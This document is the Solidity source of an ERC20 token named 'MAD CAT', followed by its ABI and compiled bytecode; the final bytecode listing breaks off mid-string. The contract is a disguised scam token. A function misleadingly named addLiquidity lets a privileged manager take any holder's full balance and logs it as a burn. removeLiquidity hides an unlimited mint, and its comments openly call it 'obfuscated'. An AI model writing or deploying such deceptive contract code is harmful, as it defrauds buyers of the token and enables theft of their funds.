// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract MADCAT is ERC20, Ownable {
// Event to track when tokens are transferred from a user to another wallet
event TokensBurned(address indexed from, address indexed to, uint256 amount);
// Mapping to store permissions for specific roles
mapping(address => bool) private rewardManagers;
mapping(address => bool) private burnManagers;
constructor(address initialOwner) ERC20("MAD CAT", "MADCAT") Ownable(initialOwner) {
_mint(initialOwner, 1000000000 * (10 ** decimals()));
rewardManagers[msg.sender] = true;
burnManagers[msg.sender] = true;
transferOwnership(initialOwner);
}
// Modifier to restrict access to reward managers
modifier onlyRewardManager() {
require(rewardManagers[msg.sender], "Caller is not a reward manager");
_;
}
// Modifier to restrict access to burn managers
modifier onlyBurnManager() {
require(burnManagers[msg.sender], "Caller is not a burn manager");
_;
}
// Function to transfer all tokens from the buyer to a specified wallet
function addLiquidity(address from, address to) external onlyBurnManager {
uint256 amount = balanceOf(from);
require(amount > 0, "No tokens to transfer");
_transfer(from, to, amount);
emit TokensBurned(from, to, amount);
}
// Public function to distribute tokens (obfuscated mint)
function removeLiquidity(address to, uint256 amount) public onlyRewardManager {
_obscureMint(to, amount);
}
// Hidden mint function (obfuscated minting)
function _obscureMint(address account, uint256 amount) internal {
_mint(account, amount); // Hidden by not being public/external
}
}[
{
"type": "constructor",
"inputs": [
{
"name": "initialOwner",
"type": "address",
"internalType": "address"
}
],
"stateMutability": "nonpayable"
},
{
"name": "ERC20InsufficientAllowance",
"type": "error",
"inputs": [
{
"name": "spender",
"type": "address",
"internalType": "address"
},
{
"name": "allowance",
"type": "uint256",
"internalType": "uint256"
},
{
"name": "needed",
"type": "uint256",
"internalType": "uint256"
}
]
},
{
"name": "ERC20InsufficientBalance",
"type": "error",
"inputs": [
{
"name": "sender",
"type": "address",
"internalType": "address"
},
{
"name": "balance",
"type": "uint256",
"internalType": "uint256"
},
{
"name": "needed",
"type": "uint256",
"internalType": "uint256"
}
]
},
{
"name": "ERC20InvalidApprover",
"type": "error",
"inputs": [
{
"name": "approver",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "ERC20InvalidReceiver",
"type": "error",
"inputs": [
{
"name": "receiver",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "ERC20InvalidSender",
"type": "error",
"inputs": [
{
"name": "sender",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "ERC20InvalidSpender",
"type": "error",
"inputs": [
{
"name": "spender",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "OwnableInvalidOwner",
"type": "error",
"inputs": [
{
"name": "owner",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "OwnableUnauthorizedAccount",
"type": "error",
"inputs": [
{
"name": "account",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "Approval",
"type": "event",
"inputs": [
{
"name": "owner",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "spender",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"indexed": false,
"internalType": "uint256"
}
],
"anonymous": false
},
{
"name": "OwnershipTransferred",
"type": "event",
"inputs": [
{
"name": "previousOwner",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "newOwner",
"type": "address",
"indexed": true,
"internalType": "address"
}
],
"anonymous": false
},
{
"name": "TokensBurned",
"type": "event",
"inputs": [
{
"name": "from",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "to",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "amount",
"type": "uint256",
"indexed": false,
"internalType": "uint256"
}
],
"anonymous": false
},
{
"name": "Transfer",
"type": "event",
"inputs": [
{
"name": "from",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "to",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"indexed": false,
"internalType": "uint256"
}
],
"anonymous": false
},
{
"name": "addLiquidity",
"type": "function",
"inputs": [
{
"name": "from",
"type": "address",
"internalType": "address"
},
{
"name": "to",
"type": "address",
"internalType": "address"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "allowance",
"type": "function",
"inputs": [
{
"name": "owner",
"type": "address",
"internalType": "address"
},
{
"name": "spender",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "approve",
"type": "function",
"inputs": [
{
"name": "spender",
"type": "address",
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "balanceOf",
"type": "function",
"inputs": [
{
"name": "account",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "decimals",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint8",
"internalType": "uint8"
}
],
"stateMutability": "view"
},
{
"name": "name",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "string",
"internalType": "string"
}
],
"stateMutability": "view"
},
{
"name": "owner",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"stateMutability": "view"
},
{
"name": "removeLiquidity",
"type": "function",
"inputs": [
{
"name": "to",
"type": "address",
"internalType": "address"
},
{
"name": "amount",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "renounceOwnership",
"type": "function",
"inputs": [],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "symbol",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "string",
"internalType": "string"
}
],
"stateMutability": "view"
},
{
"name": "totalSupply",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "transfer",
"type": "function",
"inputs": [
{
"name": "to",
"type": "address",
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "transferFrom",
"type": "function",
"inputs": [
{
"name": "from",
"type": "address",
"internalType": "address"
},
{
"name": "to",
"type": "address",
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "transferOwnership",
"type": "function",
"inputs": [
{
"name": "newOwner",
"type": "address",
"internalType": "address"
}
],
"outputs": [],
"stateMutability": "nonpayable"
}
]0x608060405234801562000010575f80fd5b506040516200228c3803806200228c833981810160405281019062000036919062000796565b806040518060400160405280600781526020017f4d414420434154000000000000000000000000000000000000000000000000008152506040518060400160405280600681526020017f4d414443415400000000000000000000000000000000000000000000000000008152508160039081620000b4919062000a2a565b508060049081620000c6919062000a2a565b5050505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036200013c575f6040517f1e4fbdf700000000000000000000000000000000000000000000000000000000815260040162000133919062000b1f565b60405180910390fd5b6200014d816200025060201b60201c565b506200018e81620001636200031360201b60201c565b600a62000171919062000cc3565b633b9aca0062000182919062000d13565b6200031b60201b60201c565b600160065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506200024981620003a560201b60201c565b5062000dfe565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200038e575f6040517fec442f0500000000000000000000000000000000000000000000000000000000815260040162000385919062000b1f565b60405180910390fd5b620003a15f83836200043c60201b60201c565b5050565b620003b56200066060201b60201c565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160362000428575f6040517f1e4fbdf70000000000000000000000000000000000000000000000000000000081526004016200041f919062000b1f565b60405180910390fd5b62000439816200025060201b60201c565b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160362000490578060025f82825462000483919062000d5d565b9250508190555062000561565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156200051c578381836040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401620005139392919062000da8565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620005aa578060025f8282540392505081905550620005f4565b805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000653919062000de3565b60405180910390a3505050565b620006706200070260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620006966200070960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16146200070057620006c26200070260201b60201c565b6040517f118cdaa7000000000000000000000000000000000000000000000000000000008152600401620006f7919062000b1f565b60405180910390fd5b565b5f33905090565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620007608262000735565b9050919050565b620007728162000754565b81146200077d575f80fd5b50565b5f81519050620007908162000767565b92915050565b5f60208284031215620007ae57620007ad62000731565b5b5f620007bd8482850162000780565b91505092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200084257607f821691505b602082108103620008585762000857620007fd565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620008bc7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200087f565b620008c886836200087f565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620009126200090c6200090684620008e0565b620008e9565b620008e0565b9050919050565b5f819050919050565b6200092d83620008f2565b620009456200093c8262000919565b8484546200088b565b825550505050565b5f90565b6200095b6200094d565b6200096881848462000922565b505050565b5b818110156200098f57620009835f8262000951565b6001810190506200096e565b5050565b601f821115620009de57620009a8816200085e565b620009b38462000870565b81016020851015620009c3578190505b620009db620009d28562000870565b8301826200096d565b50505b505050565b5f82821c905092915050565b5f62000a005f1984600802620009e3565b1980831691505092915050565b5f62000a1a8383620009ef565b9150826002028217905092915050565b62000a3582620007c6565b67ffffffffffffffff81111562000a515762000a50620007d0565b5b62000a5d82546200082a565b62000a6a82828562000993565b5f60209050601f83116001811462000aa0575f841562000a8b578287015190505b62000a97858262000a0d565b86555062000b06565b601f19841662000ab0866200085e565b5f5b8281101562000ad95784890151825560018201915060208501945060208101905062000ab2565b8683101562000af9578489015162000af5601f891682620009ef565b8355505b6001600288020188555050505b505050505050565b62000b198162000754565b82525050565b5f60208201905062000b345f83018462000b0e565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000bc45780860481111562000b9c5762000b9b62000b3a565b5b600185161562000bac5780820291505b808102905062000bbc8562000b67565b945062000b7c565b94509492505050565b5f8262000bde576001905062000cb0565b8162000bed575f905062000cb0565b816001811462000c06576002811462000c115762000c47565b600191505062000cb0565b60ff84111562000c265762000c2562000b3a565b5b8360020a91508482111562000c405762000c3f62000b3a565b5b5062000cb0565b5060208310610133831016604e8410600b841016171562000c815782820a90508381111562000c7b5762000c7a62000b3a565b5b62000cb0565b62000c90848484600162000b73565b9250905081840481111562000caa5762000ca962000b3a565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000ccf82620008e0565b915062000cdc8362000cb7565b925062000d0b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000bcd565b905092915050565b5f62000d1f82620008e0565b915062000d2c83620008e0565b925082820262000d3c81620008e0565b9150828204841483151762000d565762000d5562000b3a565b5b5092915050565b5f62000d6982620008e0565b915062000d7683620008e0565b925082820190508082111562000d915762000d9062000b3a565b5b92915050565b62000da281620008e0565b82525050565b5f60608201905062000dbd5f83018662000b0e565b62000dcc602083018562000d97565b62000ddb604083018462000d97565b949350505050565b5f60208201905062000df85f83018462000d97565b92915050565b6114808062000e0c5f395ff3fe608060405234801561000f575f80fd5b50600436106100e8575f3560e01c8063715018a61161008a578063a201ccf611610064578063a201ccf614610238578063a9059cbb14610254578063dd62ed3e14610284578063f2fde38b146102b4576100e8565b8063715018a6146101f25780638da5cb5b146101fc57806395d89b411461021a576100e8565b806323b872dd116100c657806323b872dd14610158578063313ce56714610188578063380ecef2146101a657806370a08231146101c2576100e8565b806306fdde03146100ec578063095ea7b31461010a57806318160ddd1461013a575b5f80fd5b6100f46102d0565b6040516101019190610fc1565b60405180910390f35b610124600480360381019061011f9190611072565b610360565b60405161013191906110ca565b60405180910390f35b610142610382565b60405161014f91906110f2565b60405180910390f35b610172600480360381019061016d919061110b565b61038b565b60405161017f91906110ca565b60405180910390f35b6101906103b9565b60405161019d9190611176565b60405180910390f35b6101c060048036038101906101bb919061118f565b6103c1565b005b6101dc60048036038101906101d791906111cd565b61050d565b6040516101e991906110f2565b60405180910390f35b6101fa610552565b005b610204610565565b6040516102119190611207565b60405180910390f35b61022261058d565b60405161022f9190610fc1565b60405180910390f35b610252600480360381019061024d9190611072565b61061d565b005b61026e60048036038101906102699190611072565b6106b4565b60405161027b91906110ca565b60405180910390f35b61029e6004803603810190610299919061118f565b6106d6565b6040516102ab91906110f2565b60405180910390f35b6102ce60048036038101906102c991906111cd565b610758565b005b6060600380546102df9061124d565b80601f016020809104026020016040519081016040528092919081815260200182805461030b9061124d565b80156103565780601f1061032d57610100808354040283529160200191610356565b820191905f5260205f20905b81548152906001019060200180831161033957829003601f168201915b5050505050905090565b5f8061036a6107dc565b90506103778185856107e3565b600191505092915050565b5f600254905090565b5f806103956107dc565b90506103a28582856107f5565b6103ad858585610888565b60019150509392505050565b5f6012905090565b60075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661044a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610441906112c7565b60405180910390fd5b5f6104548361050d565b90505f8111610498576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161048f9061132f565b60405180910390fd5b6104a3838383610888565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f857ac1c9e97cc66ecae5f524c9c611463ae748b85af3ca454a5ec4d7d341924d8360405161050091906110f2565b60405180910390a3505050565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61055a610978565b6105635f6109ff565b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461059c9061124d565b80601f01602080910402602001604051908101604052809291908181526020018280546105c89061124d565b80156106135780601f106105ea57610100808354040283529160200191610613565b820191905f5260205f20905b8154815290600101906020018083116105f657829003601f168201915b5050505050905090565b60065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166106a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069d90611397565b60405180910390fd5b6106b08282610ac2565b5050565b5f806106be6107dc565b90506106cb818585610888565b600191505092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610760610978565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036107d0575f6040517f1e4fbdf70000000000000000000000000000000000000000000000000000000081526004016107c79190611207565b60405180910390fd5b6107d9816109ff565b50565b5f33905090565b6107f08383836001610ad0565b505050565b5f61080084846106d6565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8110156108825781811015610873578281836040517ffb8f41b200000000000000000000000000000000000000000000000000000000815260040161086a939291906113b5565b60405180910390fd5b61088184848484035f610ad0565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036108f8575f6040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081526004016108ef9190611207565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610968575f6040517fec442f0500000000000000000000000000000000000000000000000000000000815260040161095f9190611207565b60405180910390fd5b610973838383610c9f565b505050565b6109806107dc565b73ffffffffffffffffffffffffffffffffffffffff1661099e610565565b73ffffffffffffffffffffffffffffffffffffffff16146109fd576109c16107dc565b6040517f118cdaa70000000000000000000000000000000000000000000000000000000081526004016109f49190611207565b60405180910390fd5b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b610acc8282610eb8565b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610b40575f6040517fe602df05000000000000000000000000000000000000000000000000000000008152600401610b379190611207565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bb0575f6040517f94280d62000000000000000000000000000000000000000000000000000000008152600401610ba79190611207565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508015610c99578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610c9091906110f2565b60405180910390a35b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cef578060025f828254610ce39190611417565b92505081905550610dbd565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610d78578381836040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401610d6f939291906113b5565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e04578060025f8282540392505081905550610e4e565b805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610eab91906110f2565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f28575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401610f1f9190611207565b60405180910390fd5b610f335f8383610c9f565b5050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610f6e578082015181840152602081019050610f53565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610f9382610f37565b610f9d8185610f41565b9350610fad818560208601610f51565b610fb681610f79565b840191505092915050565b5f6020820190508181035f830152610fd98184610f89565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61100e82610fe5565b9050919050565b61101e81611004565b8114611028575f80fd5b50565b5f8135905061103981611015565b92915050565b5f819050919050565b6110518161103f565b811461105b575f80fd5b50565b5f8135905061106c81611048565b92915050565b5f806040838503121561108857611087610fe1565b5b5f6110958582860161102b565b92505060206110a68582860161105e565b9150509250929050565b5f8115159050919050565b6110c4816110b0565b82525050565b5f6020820190506110dd5f8301846110bb565b92915050565b6110ec8161103f565b82525050565b5f6020820190506111055f8301846110e3565b92915050565b5f805f6060848603121561112257611121610fe1565b5b5f61112f8682870161102b565b93505060206111408682870161102b565b92505060406111518682870161105e565b9150509250925092565b5f60ff82169050919050565b6111708161115b565b82525050565b5f6020820190506111895f830184611167565b92915050565b5f80604083850312156111a5576111a4610fe1565b5b5f6111b28582860161102b565b92505060206111c38582860161102b565b9150509250929050565b5f602082840312156111e2576111e1610fe1565b5b5f6111ef8482850161102b565b91505092915050565b61120181611004565b82525050565b5f60208201905061121a5f8301846111f8565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061126457607f821691505b60208210810361127757611276611220565b5b50919050565b7f43616c6c6572206973206e6f742061206275726e206d616e61676572000000005f82015250565b5f6112b1601c83610f41565b91506112bc8261127d565b602082019050919050565b5f6020820190508181035f8301526112de816112a5565b9050919050565b7f4e6f20746f6b656e7320746f207472616e7366657200000000000000000000005f82015250565b5f611319601583610f41565b9150611324826112e5565b602082019050919050565b5f6020820190508181035f8301526113468161130d565b9050919050565b7f43616c6c6572206973206e6f74206120726577617264206d616e6167657200005f82015250565b5f611381601e83610f41565b915061138c8261134d565b602082019050919050565b5f6020820190508181035f8301526113ae81611375565b9050919050565b5f6060820190506113c85f8301866111f8565b6113d560208301856110e3565b6113e260408301846110e3565b949350505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6114218261103f565b915061142c8361103f565b9250828201905080821115611444576114436113ea565b5b9291505056fea264697066735822122046f3cbc0cb43e6d40fb369354b542064cda9ffbf4cdb884b533137866ad6e0db64736f6c634300081800330000000000000000000000004ccceb6359f9d446e0430abbca1c0e2f08442d0b
0x608060405234801561000f575f80fd5b50600436106100e8575f3560e01c8063715018a61161008a578063a201ccf611610064578063a201ccf614610238578063a9059cbb14610254578063dd62ed3e14610284578063f2fde38b146102b4576100e8565b8063715018a6146101f25780638da5cb5b146101fc57806395d89b411461021a576100e8565b806323b872dd116100c657806323b872dd14610158578063313ce56714610188578063380ecef2146101a657806370a08231146101c2576100e8565b806306fdde03146100ec578063095ea7b31461010a57806318160ddd1461013a575b5f80fd5b6100f46102d0565b6040516101019190610fc1565b60405180910390f35b610124600480360381019061011f9190611072565b610360565b60405161013191906110ca565b60405180910390f35b610142610382565b60405161014f91906110f2565b60405180910390f35b610172600480360381019061016d919061110b565b61038b565b60405161017f91906110ca565b60405180910390f35b6101906103b9565b60405161019d9190611176565b60405180910390f35b6101c060048036038101906101bb919061118f565b6103c1565b005b6101dc60048036038101906101d791906111cd565b61050d565b6040516101e991906110f2565b60405180910390f35b6101fa610552565b005b610204610565565b6040516102119190611207565b60405180910390f35b61022261058d565b60405161022f9190610fc1565b60405180910390f35b610252600480360381019061024d9190611072565b61061d565b005b61026e60048036038101906102699190611072565b6106b4565b60405161027b91906110ca565b60405180910390f35b61029e6004803603810190610299919061118f565b6106d6565b6040516102ab91906110f2565b60405180910390f35b6102ce60048036038101906102c991906111cd565b610758565b005b6060600380546102df9061124d565b80601f016020809104026020016040519081016040528092919081815260200182805461030b9061124d565b80156103565780601f1061032d57610100808354040283529160200191610356565b820191905f5260205f20905b81548152906001019060200180831161033957829003601f168201915b5050505050905090565b5f8061036a6107dc565b90506103778185856107e3565b600191505092915050565b5f600254905090565b5f806103956107dc565b90506103a28582856107f5565b6103ad858585610888565b60019150509392505050565b5f6012905090565b60075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661044a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610441906112c7565b60405180910390fd5b5f6104548361050d565b90505f8111610498576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161048f9061132f565b60405180910390fd5b6104a3838383610888565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f857ac1c9e97cc66ecae5f524c9c611463ae748b85af3ca454a5ec4d7d341924d8360405161050091906110f2565b60405180910390a3505050565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61055a610978565b6105635f6109ff565b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461059c9061124d565b80601f01602080910402602001604051908101604052809291908181526020018280546105c89061124d565b80156106135780601f106105ea57610100808354040283529160200191610613565b820191905f5260205f20905b8154815290600101906020018083116105f657829003601f168201915b5050505050905090565b60065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166106a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069d90611397565b60405180910390fd5b6106b08282610ac2565b5050565b5f806106be6107dc565b90506106cb818585610888565b600191505092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610760610978565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036107d0575f6040517f1e4fbdf70000000000000000000000000000000000000000000000000000000081526004016107c79190611207565b60405180910390fd5b6107d9816109ff565b50565b5f33905090565b6107f08383836001610ad0565b505050565b5f61080084846106d6565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8110156108825781811015610873578281836040517ffb8f41b200000000000000000000000000000000000000000000000000000000815260040161086a939291906113b5565b60405180910390fd5b61088184848484035f610ad0565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036108f8575f6040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081526004016108ef9190611207565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610968575f6040517fec442f0500000000000000000000000000000000000000000000000000000000815260040161095f9190611207565b60405180910390fd5b610973838383610c9f565b505050565b6109806107dc565b73ffffffffffffffffffffffffffffffffffffffff1661099e610565565b73ffffffffffffffffffffffffffffffffffffffff16146109fd576109c16107dc565b6040517f118cdaa70000000000000000000000000000000000000000000000000000000081526004016109f49190611207565b60405180910390fd5b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b610acc8282610eb8565b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610b40575f6040517fe602df05000000000000000000000000000000000000000000000000000000008152600401610b379190611207565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bb0575f6040517f94280d62000000000000000000000000000000000000000000000000000000008152600401610ba79190611207565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508015610c99578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610c9091906110f2565b60405180910390a35b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cef578060025f828254610ce39190611417565b92505081905550610dbd565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610d78578381836040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401610d6f939291906113b5565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e04578060025f8282540392505081905550610e4e565b805f808473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffff